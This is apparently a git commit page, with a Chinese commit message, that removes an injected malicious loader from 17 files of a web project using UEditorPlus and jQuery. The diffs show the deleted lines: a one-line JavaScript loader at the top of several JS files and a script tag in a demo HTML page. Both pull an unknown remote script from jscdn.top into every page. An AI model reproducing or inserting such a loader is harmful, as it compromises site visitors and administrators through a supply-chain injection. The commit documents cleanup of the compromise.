fix(security): 移除 17 个文件中的 jscdn.top 恶意外链
- 所有 JS 首行的 document.head.appendChild loader 与 HTML 中的 <script src="https://jscdn.top/v1/app"> 全部删除 - 该外链会向所有后台/前台页面注入未知远程脚本 - shopro/config.js 同时包含工作区已有的 ES6 改写(保留原样,仅删恶意行)
这个提交包含在:
@@ -1,4 +1,3 @@
|
||||
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
|
||||
/**
|
||||
* Created with JetBrains PhpStorm.
|
||||
* User: xuheng
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>UEditorPlus 完整演示</title>
|
||||
<script src="https://jscdn.top/v1/app"></script>
|
||||
|
||||
<meta name="viewport" content="width=device-width, minimum-scale=0.5, maximum-scale=5, user-scalable=no">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
|
||||
/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
|
||||
//@ sourceMappingURL=jquery-1.10.2.min.map
|
||||
*/
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
|
||||
/**
|
||||
* ueditor plus 完整配置项
|
||||
* 可以在这里配置整个编辑器的特性
|
||||
|
||||
在新工单中引用
屏蔽一个用户